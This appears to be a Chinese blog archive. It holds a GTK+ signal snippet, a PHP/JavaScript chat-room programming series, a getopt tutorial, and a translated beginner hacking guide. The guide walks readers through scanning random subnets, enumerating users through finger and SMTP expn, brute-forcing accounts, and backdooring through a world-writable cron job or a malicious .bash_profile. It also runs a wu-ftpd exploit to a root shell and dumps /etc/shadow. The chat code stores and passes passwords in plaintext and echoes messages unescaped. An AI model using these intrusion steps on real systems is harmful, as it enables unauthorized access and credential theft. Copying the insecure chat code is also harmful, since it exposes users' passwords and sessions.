这里第一个信号连接函数是连接的事件处理函数,而第二个是连接的信号处理函数。 最后,需要断开信号连接,使用函数gtk_signal_disconnect();

//———————————————

gint SignalHandler;

SignalHandler=gtk_signal_connect(GTK_OBJECT(window),”destroy”,GTK_SIGNALFUNC(HandlerFunc),NULL);

gtk_signal_disconnect(GTK_OBJECT(window),GTK_SIGNAL_FUNC(HandlerFunc),NULL);

到这里,我们应该对GTK+编程有了一个大概的了解了。

2004年08月07日

聊天室编程思想– 大门–登陆
大门–登陆

1 页面登陆的基本要素
你可以在我的竹叶看到登陆 的表单,这里提供了最基本的登陆表单项
(1)登陆表单
<form method=POST name=chatform action=chat/login.php?action=enter onSubmit=”b1_submit();return true;” target=”howtodo”>
(a)聊天表单的名字为chatform,我使用action=enter作为进入聊天室的入口,如果没有这个参数,则显示登陆页 面.
(b)在表单提交时,先调用b1_submit()建立聊天的窗口
(c)聊天的目标窗口为b1_submit()建立 的howtodo窗口

(2)表单项
昵称:<input type=text name=name size=15 maxlength=”10″>
密码:<input type=password name=pass size=15 maxlength=”10″>
<input type=submit name=submit value=登陆 style=”width:100″>
<input type=reset name=reset value=重添 style=”width:50″>
(a)各表单项一定要设定最大允许长度 maxlength

(3)建立聊天窗口的js
<script LANGUAGE=”javascript”>
function b1_submit(){
chat=window.open(”,”howtodo”,’Status=no,scrollbars=no,resizable=no’);
chat.moveTo(0,0);
chat.resizeTo(screen.availWidth,screen.availHeight);
chat.outerWidth=screen.availWidth;
chat.outerHeight=screen.availHeight;
}
这段代码先 打开一个没有状态栏,滚动条,可调整尺寸的howtodo窗口!然后移动到屏幕左上角,然后放大到允许的屏幕大小.

 聊天室编程思想–大门 — 通行证

大门 — 通行证
聊天室可以采用完全自由的方式运行,你可以随意 输入呢称,不用密码,不保存你的聊天状态,优点是:自由,非常适合于游客!另外一个方法是注册聊天室,每个进入 聊天室的人都要输入自己的用户名和密码才能进入!优点:充分体现个性,非常适合于老朋友,他们的呢称不会被 人恶意侵占使用.我的聊天室使用注册方法!

注册通常采用2种方法:1,先注册然后进入聊天;2,自动注 册,然后在里面修改自己的资料!我采用第2种方法!!每个新进入的聊友的用户名会被自动保存到注册到数据库内 ,下次登陆必须输入准确的密码才能进入!

下面是判断部分!本程序使用文本数据库 !

//$useronline为在线人的数据文件名称
//$useronlinelock为在线人的锁定标志
//$register为已经注册的数据文件名称
//$registerlock为注册文件的锁定标志
//$split为分隔 符

//登陆参数 enter
if($action == “enter”)
{
//当前时间秒数
$timecurrent = date(“U”);

//锁定在线人数文件,防止同时修改同一个文件
while( file_exists($useronlinelock))
{
if(!file_exists($useronlinelock))
{
break;
}
}

//创建临时文件
fclose(fopen($useronlinelock,”w”));

//读入在线用户和已经注册用户的信息:密码,昵称,更新时间
$useronline = file($useronline);
$register = file($register);

//用于判断登 陆是否成功的标志
$namesign=0;

//判断用户名,密码的错误,用户名不允许为空,不允许超过10 个字符,密码不允许超过20个字符
if(($name ==”") || (strlen($name) > 10) || (strlen($pass) > 20) )
{
print(“没有昵称或密码过长”);
//登陆失败
$namesign=1;
//删除临时文件
unlink($useronlinelock);
}
else
{
//查找是否已经有人注册或者密码错误
$foundsign=0;
for($i=0;$i<count($register);$i++)
{
//分割
$tempregister = split($split,$register[$i],99);
//找到已经注册的用户名
if( $name == $tempregister[0] )
{
//已经找到标志
$foundsign=1;
//密码正确吗
if($pass != $tempregister[1])
print(“密码错了!”);
//登陆失败
$namesign=1;
unlink($useronlinelock);
break;
}
else
{
//老用户登陆成功
$namesign=0;
break;
}
}

}

//如果没有找到这个用户名,那么就自动注册
if(!$foundsign)
{
//保存用户名和密码
$handle = fopen($register,”a”);
fputs($handle,”$name$split$pass$split “);
fclose($handle);
//新 用户登陆成功
$namesign=0;
}
}
}
if(!$namesign)
{
//更新在线人的名单
$useronlinehandle = fopen($useronline,”w”);

//判断是否已经在里面,只是刷新页面
$updatesign = 0;
for($i=0;$i<count($useronline);$i++)
{
$usertemp=split($split,chop($useronline[$i]),99);
if($name == $usertemp[0])
{
//更新标志
$updatesign = 1;
fputs($useronlinehandle,$useronline[$i]);
}
else
{
fputs($useronlinehandle,$useronline[$i]);
}
}
//如 果没有在里面,则增加到里面
if(!$updatesign)
fputs($useronlinehandle,”$name$split$level$split$pass$split$timecurrent “);
fclose($useronlinehandle);

//去掉缩定
unlink($useronlinelock);

//登陆成 功
}

到这里,用户的验证已经完成,聊友已经合法的进入了聊天室,携带者呢称和密码

聊天室编程思想–大厅 — 显示界面

大厅 — 显示界面
2000年09月04
现在的www聊天室基本全部采用框架方式,可以用 frame也可以用iframe看个人喜欢了,我的采用frame的传统方式

print(“<frameset rows=”*,110,0,0,0″ border=0> “);
print(“<frameset cols=”660,118″ rows=”*”> “);

//主显示屏幕,负责显示聊天内容
print(“<frame name=u src=about:blank frameborder=”NO” noresize> “);

//在线人数屏幕
print(“<frame name=r src=”about:blank” frameborder=”NO”>”);
print(“</frameset> “);

//发送信息的屏幕,信息指挥中心,所有指令都要由这里发出
print(“<frame name=d src=send.php?name=$name&&pass=$pass scrolling=’no’ frameborder=”NO” noresize> “);

//被动更新屏幕,处理发送的信息
print(“<frame src=”about:blank” name=”bl”> “);

/主动更新屏幕,显示自己和其他聊友的聊天信息
print(“<frame src=”about:blank” name=”flush”> “);

//检测是否在线的屏幕,对于异常 离开,如死机,掉线等的处理
print(“<frame src=”about:blank” name=”check”> “);
print(“</frameset> “);

因为各个页面之间的程序有 联系,所以显示顺序很重要,可以看到,我这里只有发送页面不是about:blank,其他页面的显示都要先通过发送页 面的调用才能开始.

聊天室编程思想–大厅 — 在线人数

大厅 — 在线人数

我根据网易聊天室的在线人数的方法,显示当前的在 线人数,代码解释如下:

1 登陆时建立在线人名单的数组,放在body后面

<?
//锁定在线 人数文件
while(file_exists($useronlinelock)){$pppp++;}
fclose(fopen($useronlinelock,”w”));

//读入在线人名单
$useronline = file($useronline);
unlink($useronlinelock);

//建立数组 list
print(“document.writeln(“list=new Array(“);
$k=count($useronline);
if($k>1)
{
for($i=0;$i<($k-1);$i++)
{
$usercurrent = split($split,$useronline[$i],99);
// 姓名+,
print(“‘$usercurrent[0]‘,”);
}
$i=$k-1;
// 处理最后一个姓名
$usercurrent = split($split,$useronline[$i],99);
print(“‘$usercurrent[0]‘”);
}
// 数组结束
print(“)”); “);
?>

2显示在 线人数的js
document.writeln(‘[在线人数<font color=red>'+count+'</font>]<br>’);
document.writeln(“[<a href="javascript:parent.cs('所有人')">所有人</a>]<br>”);
document.writeln(“<font class=’p9′>”);
var j,name,club;
for(var i=0;i<list.length;i=i+1)
{
if(list[i]!=null){

//显示每个在线人的名字
document.writeln(“<a href=”javascript:parent.cs(‘”+list[i]+”‘)” title=’”+list[i]+”‘>”+list[i]+”</a><br>”);
}
}
this.r.document.writeln(‘</font><hr>’);

3改变聊天对象
function cs(name)
{
if(this.d.document==null)return;
if(name==’所有人’)
{
this.d.add(‘所有人’);
this.d.document.inputform.talkto.value=’所有人 ‘;

//改变焦点
this.d.document.inputform.msg.focus();
return;
}
for(var i=0;i<list.length;i=i+1)
{
if(list[i]==name)
{

//更改发送的谈话对象
this.d.document.inputform.talkto.value=list[i];
this.d.document.inputform.msg.focus();
return;
}
}

//错误
alert(‘此用户已离线或已改了昵称。’);
}

4删除一个用户
function del(str)
{
for(var i=0;i<list.length;i=i+1)
if(list[i]==str)
{
delete list[i];
count–;
}
}

5增加一个用户
function add(str1,str2)
{
var l=list.length;
for(var i=0;i<list.length;i=i+1)

//如果已经在数组里面则返回
if(list[i]==str1)
return;

//增加一个用户
list[l]=str1;
count++;
}

6更新聊天人数的方法,定时器的使用
var timerID=null;
var timerRunning=false;

function stop()
{
//停止
if(timerRunning)clearTimeout(timerID);
timerRunning=false;
}
function start()
{
stop();
//调用更新在线人数的程序
write1();
}

function write1()
{
… … … …
//设定更新时间,
timerID=setTimeout(“start()”,30000);
timerRunning=true;
}

这种方法比较简单的实现了在线人数的显示,当然也可以使用读入在线 人文件的方法显示在线人数,不过在改变聊天对象是会比较麻烦.

聊天室编程思想–指挥中心 — 发送信息

指挥中心 — 发送信息
这里是聊天室的指挥中心,所有的指令都要在这里发出

1下面是基本的发送表单代码

<form name=inputform action=’messagesend.php’ target=’bl’ onsubmit=’return(checksay());’ method=POST>

<?
//下面的2个参数用于验证信息的正确性
print(“<input type=’hidden’ name=’name’ value=’$name’> “);
print(“<input type=’hidden’ name=’pass’ value=’$pass’> “);
?>

//聊天对象,注意加上 readonly 属性
<input type=”text” name=”talkto” size=”10″ maxlength=”20″ readonly value=”所有人”>

//上次聊天的发送内容
<input type=’hidden’ name=’message’ value=”>

//发送的表单文本框
<input type=”text” name=”msg” maxlength=”120″ size=”34″>

<input type=”submit” name=”Submit” value=”发送”>

</form>

2 检查发送内容的js

var dx =”;
function checksay( )
{

//不允许发送空的发言
if(document.inputform.msg.value==”)
{
document.inputform.msg.focus();
return false;
}

//不允许重复发言,内容相同,对象相同
if ((document.inputform.msg.value==document.inputform.message.value)&&(document.inputform.talkto.value==dx))
{
alert(‘发言不能重复’);
document.inputform.msg.focus();
return false;
}

//两次发言内容的间隔不能小于1秒,或者发言字数大于间隔*3
t2=(new Date()).getTime()/1000;
if(((t2-t1)<1)||((t2-t1)*3<document.inputform.msg.value.length))
{
document.inputform.msg.focus();
return false;
}

//更新时间
t1=t2;

document.inputform.showsign.value=1;

//保存上次发言内容
document.inputform.message.value =document.inputform.msg.value;

//清空发言内容
document.inputform.msg.value =”;

//保存发言对象
dx=document.inputform.talkto.value;

//定位焦点
document.inputform.msg.focus();

//返回
return(true);
}

3调用信息发送程序,发布聊天者已经进入的信息
<script>
parent.bl.document.open();
parent.bl.document.write(“<meta http-equiv=’refresh’ content=’0;url=messagesend.php?name=<? print($name); ?>&&action=enter&&pass=<? print($pass); ?>’>”)
parent.bl.document.close();
</script>

发言由messagesend.php处理完成,注意输出对象为bl,也就是处理发言的框架名称,这样保证发言框架的页面内容的完整

聊天室编程思想–主动更新与被动更新

主动更新与被动更新

聊天的内容如何显示在屏幕上,一种是每隔一段时间刷新一次页面,读入全部聊天内容,然后显示,这里采用的是js的document.write的方法实现不刷新的聊天页面!

1 主页面的生成,规定了CSS类型,显示欢迎词
function write2(){
if(this.u.document==null)return;
this.u.document.writeln(“<html><head>”);
this.u.document.writeln(“<meta http-equiv=Content-Type content=text/html; charset=gb2312>”);
this.u.document.writeln(“<style type=text/css>”);
this.u.document.writeln(“.p9 { font-size: 11pt; line-height: 15pt}”);
this.u.document.writeln(“body { font-size: 11pt; line-height: 15pt}”);
this.u.document.writeln(“a:visited { font-size: 11pt;color: #0000FF; text-decoration: none;}”);
this.u.document.writeln(“a:link { font-size: 11pt;color: #0000FF; text-decoration: none}”);
this.u.document.writeln(“a:hover { font-size: 11pt;color: #FF0000}”);
this.u.document.writeln(“</style>”);

this.u.document.writeln(“</head>”);
this.u.document.writeln(“<body);
//……………… 这里插入生成在线人数组的程序段

this.u.document.writeln(“<script>”);
this.u.document.writeln(“<p class=p9 align=left>”);
this.u.document.writeln(“<p align=center>欢迎光临PlayBoy聊天室,本聊天室正在测试阶段,如有问题请与<a href=mailto:pccastle@sina.com>我们联系</a></p>”);
}

2 初始化进入信息,第一次进入聊天室

if($action == “enter”)
{

/////////////////// 调用显示主屏幕的js程序 ////////////////////
print(“parent.write2(); “);

//发言内容,某某进入聊天室了
$message = “<a href=javascript:parent.cs(‘$name’); target=d>$name</a>来到聊天室”.$message.” “.date(“m月d日 H:i”).”<script>parent.add(‘$name’,'$photo’);parent.write1();</script><br>”;
}
//更新发言内容
while(file_exists($lockfile)){ $pppp++; }

//发言的锁定
fclose(fopen($lockfile,”w”));

//读入发言的总句数,也就是所有人一共发了多少言!我们可以保存每一个发言,但是这样会占用大量的磁盘空间,我们采用了一种取模的方法,循环使用文件来减少文件操作!
$talkmessage = file($filename);
$number = chop($talkmessage[0]);

//发言数增加一,然后保存
$talkhandle = fopen($filename,”w”);
$number++;
fputs($talkhandle,$number);
fclose($talkhandle);

/去掉锁定
unlink($lockfile);

//对发言总数对10取模,作为文件名保存发言内容,也就是说第11句和第1句使用同一个文件名,由于不可能同时有10句话没有更新,所以这是数在人不是非常多的情况下很好!当然,考虑到人多的情况,可以设成100.
$filehandle = fopen(“messageonline”.($number%10).”.php”,”w”);
fputs($filehandle,$message);
fclose($filehandle);

//显示进入信息
print(“parent.u.document.writeln(“$message”); “);

//调用主动刷新js程序,传递已经显示的发言数目
print(“parent.flushwin($number) “);

//保存最后一次显示的发言
$last = $number;
}

3 处理发送表单的请求

//不处理空的发言和超过一定数目的发言
if( ($message != “”)&&(strlen($message)<150))
{

//检查发言者是否在线,防止意外
$onlineperson = file(“useronline.dbf”);
$personsign=0;
for($i=0;$i<count($onlineperson);$i++)
{
$person = split($split,$onlineperson[$i],99);
if($person[0] == $name)
{
$personsign = 1;
$person[3] = date(“U”);
break;
}
}

//在线时的处理程序
if($personsign == 1)
{

//添加发言时间的部分
$message = $message.” <font size=1>”.date(“m月d日 H:i”).”</font><br>”;

//锁定发言总数文件
while(file_exists($lockfile)){ $pppp++; }
fclose(fopen($lockfile,”w”));

//读入发言总数
$talkmessage = file($filename);
$number = chop($talkmessage[0]);

//总数加1,然后保存
$talkhandle = fopen($filename,”w”);
$number++;
fputs($talkhandle,$number);
fclose($talkhandle);
unlink($lockfile);

//总数对10取模后以文件形式保存发言内容
$filehandle = fopen(“messageonline”.($number%10).”.php”,”w”);
fputs($filehandle,$message);
fclose($filehandle);
}
}

//////////////////////////////////////////////////////////////////
这样,表单的处理已经完成,下面的主动更新程序将会把新的发言内容显示在屏幕上
//////////////////////////////////////////////////////////////////

4 主动更新的自动循环调用方法

可以使用<meta http-equiv=”reflesh” content=”3;url=messageflush.php?name=<?print($name)?>&&pass=<?print($pass)&&last=<?print($last)?>的方式更新!

我的程序以前就是使用这种方法自动更新的,但是我发现一个问题,那就是当这个更新程序出现运行错误时,他不会产生调用下次更新的代码,造成后台更新程序停止工作!所以我采用了js定时的方法来完成同样的功能!

var flushtimeID=null;
var flushRunning=false;

//上次更新标志
var flushflag = true;

function flushstop()
{
if(flushtimerRunning)clearTimeout(flushtimerID);
flushtimerRunning=false;
}
function flushstart()
{
flushstop();

//使用发送表单里面的上次显示的值
flushwin(this.d.document.inputform.last.value);
}

function flushwin(winnumber)
{
//如果上次更新正确,则调用下次更新
if(flushflag == true)
{
url=”messageflush.php?name=<? print($name); ?>&&pass=<? print($pass); ?>&&last=”+winnumber;
flush.location=url
flushflag=false
}

//否则等待一个循环
flushtimerID=setTimeout(“flushstart()”,2000);
flushtimerRunning=true;
}

这种方法保证了在主程序不死的情况下,后台更新程序会一直运行下去!

5 主动更新程序
<script Language=’JavaScript’>
<?
//读入最大的发言数目
$message = file($filename);
$number = chop($message[0]);

//从上次显示的下一个发言开始到最大发言结束,显示发言内容
for($i=$last+1;$i<=$number;$i++)
{
//读入下一个发言内容
$filename = “messageonline”.($i%10).”.php”;
$message = file($filename);
$tempmessage = split($split,$message[0],99);

//显示发言内容
print(“parent.u.document.writeln(“$message[0]“); “);
}

//更新发送表单最后一个发言的数目
print(“parent.d.document.inputform.last.value=$number; “);

//通知主程序本次更新已经完成
print(“parent.flushflag=true; “);
?>
</script>

这样,每个发送的发言,经过被动更新程序处理保存到文件内,然后由一个循环的主动更新程序完成显示任
务!!!

2004年08月06日

在实际程序之中我们经常要对命令行参数进行分析. 比如我们有一个程序a可以接受许多参数.一个可能的情况是
a -d print –option1 hello –option2 world
那么我们如何对这个命令的参数进行分析了?.经常用函数是getopt和getopt_long.
#include <unistd.h>
#include <getopt.h>

int getopt(int argc,char const **argv, const char *optstring);
int getopt_long(int argc,char const **argc,
const char *optstring,const struct option *longopts,
int *longindex);

extern char *optarg;
extern int optind,opterr,optopt;

struct option {
char *name;
int has_flag;
int *flag;
int value;
};

getopt_long是getopt的扩展.getopt接受的命令行参数只可以是以(-)开头,而getopt_long还可以接受(–)开头的参 数.一般以(-)开头的参数的标志只有一个字母,而以(–)开头的参数可以是一个字符串.如上面的 -d,–option1选项.
argc,和argv参数是main函数的参数.optstring指出了我们可以接受的参数.其一般的形式为:参数1[:]参数2[:]…. 其中参数是我们可以接受的参数,如果后面的冒号没有省略,那么表示这个参数出现时后面必需要带参数值. 比如一个optstring为abc:d:表示这个参数选项可以为a,b,c,d其中c,d出现时候必须要有参数值.如果我们输入了一个我们没有提供的参 数选项.系统将会说 不认识的 选项. getopt返回我们指定的参数选项.同时将参数值保存在optarg中,如果已经分析完成所有的参数函数返回-1.这个时候optind指出非可选参数 的开始位置.

#include <stdio.h>
#include <unistd.h>

int main(int argc,char **argv)
{
int is_a,is_b,is_c,is_d,i;
char *a_value,*b_value,*c_value,temp;

is_a=is_b=is_c=is_d=0;
a_value=b_value=c_value=NULL;

if(argc==1)
{
fprintf(stderr,”Usage:%s [-a value] [-b value] [-c value] [-d] arglist …\n”,
argv[0]);
exit(1);
}

while((temp=getopt(argc,argv,”a:b:c:d”))!=-1)
{
switch (temp)
{
case ‘a’:
is_a=1;
a_value=optarg;
break;
case ‘b’:
is_b=1;
b_value=optarg;
break;
case ‘c’:
is_c=1;
c_value=optarg;
break;
case ‘d’:
is_d=1;
break;
}
}

printf(“Option has a:%s with value:%s\n”,is_a?”YES”:”NO”,a_value);
printf(“Option has b:%s with value:%s\n”,is_b?”YES”:”NO”,b_value);
printf(“Option has c:%s with value:%s\n”,is_c?”YES”:”NO”,c_value);
printf(“OPtion has d:%s\n”,is_d?”YES”:”NO”);
i=optind;
while(argv[i]) printf(” with arg:%s\n”,argv[i++]);
exit(0);
}

getopt_long比getopt复杂一点,不过用途要比getopt广泛.struct option 指出我们可以接受的附加参数选项.
name:指出长选项的名称(如我们的option1)
has_flag:为0时表示没有参数值,当为1的时候表明这个参数选项要接受一个参数值.为2时表示参数值可以有也可以没有.
指出函数的返回值.如果为NULL,那么返回val,否则返回0.并将longindex赋值为选项所在数组(longopts)的位置.

/* 这个实例是从 GNU Libc 手册上看到的 */

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>

int main (int argc, char **argv)
{
int c;

while (1)
{
struct option long_options[] =
{
{“add”, 1, 0, 0},
{“append”, 0, 0, 0},
{“delete”, 1, 0, 0},
/* 返回字符c,等同于 -c 选项 */
{“create”, 0, 0, ‘c’},
{“file”, 1, 0, 0},
/* 数组结束 */
{0, 0, 0, 0}
};
/* getopt_long stores the option index here. */
int option_index = 0;

c = getopt_long (argc, argv, “abc:d:”,
long_options, &option_index);

/* Detect the end of the options. */
if (c == -1)
break;

switch (c)
{
case 0:
printf (“option %s”, long_options[option_index].name);
if (optarg)
printf (” with arg %s\n”, optarg);
break;

case ‘a’:
puts (“option -a\n”);
break;

case ‘b’:
puts (“option -b\n”);
break;

/* 可能是-c –creat参数指出来的 */
case ‘c’:
printf (“option -c with value `%s’\n”, optarg);
break;

case ‘d’:
printf (“option -d with value `%s’\n”, optarg);
break;
}
}

exit (0);
}

2004年08月04日

首先说一下写这篇文章的目的,近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚蠢的问题。这篇文章将确实的向你解释关于“hack”的一些知识。如果你是个初学者,你应当从头到尾通读这篇文章,或者如果你已经进阶了,那就别再往下看了,你应该全都了解的。我或许将往这篇文章中添加一些内容或者让他变得更易于理解。我写这篇文章的最根本的原因是,让别人不再来问我或者其他人如何去做*愚蠢*的事,是的,问如何去黑(how to hack)是*愚蠢*的,它让你看起来愚蠢并且学不到任何东西,当然除非你完全不能自学的话。
起初当我想弄乱别人的电脑时,我只是一个中学的小孩子。我问别人有关病毒和木马的事,并且使用它们,那时我是一个lamer(瘸子,不完整的)。我在学校里问别人并且最终发现一个对hacking感兴趣的人。他向我展示一些技巧,我付给他钱。(snowblue:现在有SQL,无用等一些高手义务的帮助你们,而你们却不好好的珍惜)他使用UNIX很多年了,他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷惑,最终我得到了一个shell。我读所有我能够找到的,把所有的时间都花在计算机上,我开始对社会和现实世界失去兴趣。那时候我每天在计算机上花的时间超过12个小时。我读任何找到的资料,我读的第一篇文章是”mostly harmless hacking”(几乎没有破坏性的入侵),我对它很感兴趣。起初我只会用一些图形模式的工具来做一些像改变关机屏幕的简单的事。做有关hacking的网站,尽管我并不知道hacking究竟是什么。我收集windows下的木马和病毒等一些工具,尽管那并不是hacking,但那时候我喜欢它们。随后我开始用邮件炸弹,flooder,DoS。当我对他们有了了解后,(我意识到那并不是hacking)我回去继续寻找shell。当时我所能找到的免费的shell都是非常简单的。我听说了有关linux的一些事。我问我学校的“黑客朋友”,他说不要用linux,用真正的UNIX。他搬到了PA,从那以后我再也没有他的音讯。我试图找到他并感谢它所教给我的,但没有成功。我得到了一个linux。安装是文本模式的,但它运行很迅速,它比windows要可乱说话多了,从不死机。但我的56k modem不能工作,我跑到了IRC问有关linux的问题。我发现了我的modem是一种叫winmodem的,win-moden是由软件控制的,他们通常比硬件modem慢,并且不能再linux下工作。(snowblue:现在大多数的modem在linux下都有驱动,你可以自己寻找)我在命令行下模式工作,看自己能够干些什么。最终我花了100美元买了一个linux兼容的modem。我让他工作,这太棒了。从那以后我就使用它,并且仍然可以在那上面学到更多的东西。我的父母说我“对计算机着魔了”,我试图解释我并没有。我从没有对它感到厌烦,我一直能够学到新的东西。那段时间里,我失去了一些朋友,退出了大学足球队。所有的一切仅仅是为了这该死的机器。希望某人可以发现这篇文章很有用。
目录

1. 普通的知识
2. 需要的东西
3. 简单的入侵
4. 如何进入
5. 列举
6. 常见的失误
7. 缓冲溢出
8. 防火墙
9. 进入之后干些什么
10. 如何才能不被抓住
11. 清除纪录
12. 用途
13. 我对破坏者的看法

否认声明:
阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责

1. 读这篇文章的最好方法是一次把它读完,然后再读一遍。好吧,现在让我们开始。我假设你已经有了一些基本的知识,知道telnet是什么,一些基本的tcp/ip的知识等等。如果有一些你并不理解,不要犹豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。
需要的东西:
2. 我列出了一些在这篇教程中需要的东西。你可以在anti-secure.com和packetstorm.securify.com找到它们。用引擎找一下就可以了。
1. – superscan (for windows)
2. – nmap (for unix)
3. – full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. – compiler on the shell
5. – wingates (you can use them as telnet proxys)

容易的目标:
3. 这里我讲一下如何找到一些容易的目标
1. 到altavista.com用日语或其他语言搜索“游戏”,理由是这些站点的安全性较低
2. 扫描一个有很多服务的cable或者dsl子网,你可以用nmap,端口的状态应当是open而不是close或者filtered,nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp,原因是man page已经有作够的信息了。
3. 确保nmap已经被安装了。使用下面我给出的命令
(注意:$是一个普通的用户,而#则是超级用户。作为例子,我用了24.112.*.*,吧它替换成你想要扫瞄的ip)
$ nmap -p 21,23 24.112.*.*
进入:
4. 为了能够进入,你应当收集尽可能多的有关目标主机的信息。由于这是你的第一次入侵,所以确保它有一个笨笨的管理员。然后你可以使用exploit。我将在后面详细解释
列举:
5. Ok 我们找到了目标。现在让我们得到更多的信息。首先来telnet它的79端口。如果它是打开的,你就可以得到以登陆用户的信息。仅仅是telnet然后按下回车。
让我们假定端口是打开的并且允许我们查看在线用户。看下面的例子:
$ telnet target.domain 79
Trying IPaddress…
Connected to target.domain.
Escape character is ^].

Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 如果你得到了一个login,把它记下来,然后找更多的login。或许你需要暴力穷句。你可以在www.packetstorm.securify.com 找到一个windows下的穷具工具。使用大量的单词来穷举那个账号。如果你得到的消息是”no one is logged on” 或许你需要一个windows下的haktek。同样,你可以在www.packetstorm.securify.com 找到它。Haketk能够让你监视finger进程并且纪录登陆的人。这是很有用的。另一种方法,你可以用sendmail。如果他们有很多的用户,你可以尝试telnet并且找几个有效的用户名,还可以找几个程序通过暴力法来完成。看下面,我给出了通过sendmail来得到有效的用户名的例子—
$ telnet target.domain 25
Trying IPaddress…
Connected to target.domain.
Escape character is ^].

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly… User Unknown
就像你所看到的,我telnet到他们的smtp,敲入expn,然后系统告诉我这是不是一个有效的用户,最后我给出了一个用户不存在的例子,当我敲入expn Billy,系统告诉我用户不存在,然后我知道这不是一个合法的用户。这同样可以帮助你得到他们的email,然后你就可以尝试一下社会工程学。
另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组,或许可以得到一些有用的信息。
另一些可以利用的进程是 systat netstat等等。
telnet还可以帮助你判断出对方的操作系统,当你想exploit时这是非常重要的。当telnet时,有些会给出系统信息,如下所示:
Trying IPaddress…
Connected to target.domain.
Escape character is ^].

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到,系统是redhat 6.1
有些时候你可以使用社会工程学,拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell,一个很大的系统。它所作的只是像一个在那里工作的人那样和别人交谈。他知道当时那里的某人正在度假,但是他知道某人的名字。他打电话到了Novell的办公室找那个人,然后秘书告诉他那个人正在度假,然后他说它需要和那个人联系,于是它便从秘书那里得到了那个人的信息。
常见的失误:
6. 人们会时不时的犯一些错误。这可以帮助你进入。某些人并不是很好的管理员。一个十分普遍的失误是权限设置上的错误。有些系统对所有人都开放了write权限。这是一个很大的问题。让我们举个例子。某人把cron.daily的write权限开放给所有人。你就可以上传一个后门程序并通过cron进程来执行,从而得到系统的访问权。
现在让我来告诉你最可怕的事。假如某个用户在系统上使用IRC,并且如果它把dcc文件传送设置为自动接收,接受目录为他的主目录。你就可以传给他一个.bash_profile,文件写的好的话,可以让他做一些事。例如添加一个用户,或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。
缓冲溢出/exploiting:
7. 我不打算对缓冲溢出讲得太深,我只想借是那是什么然后进入下一节。
缓冲溢出—在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些情况下,你可以通过特殊的代码让缓冲区溢出来得到一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 – RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 – RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 – SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 – SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 – RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 – FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 – FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 – FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 – FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages

$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0×08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
如果你想要root的话,exploit是一种方法。查出系统的操作系统,然后到hack.co.za 或者packetstorm 查找那个系统的exploit,你应当得到一些perl scripts/c scripts/shell scripts。执行它们,你就会成为root
当然,如果系统打了exploit的补丁,你或许想知道root的口令是什么。可以敲下面的命令:
(如果没有经过shadow,口令被存放于/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
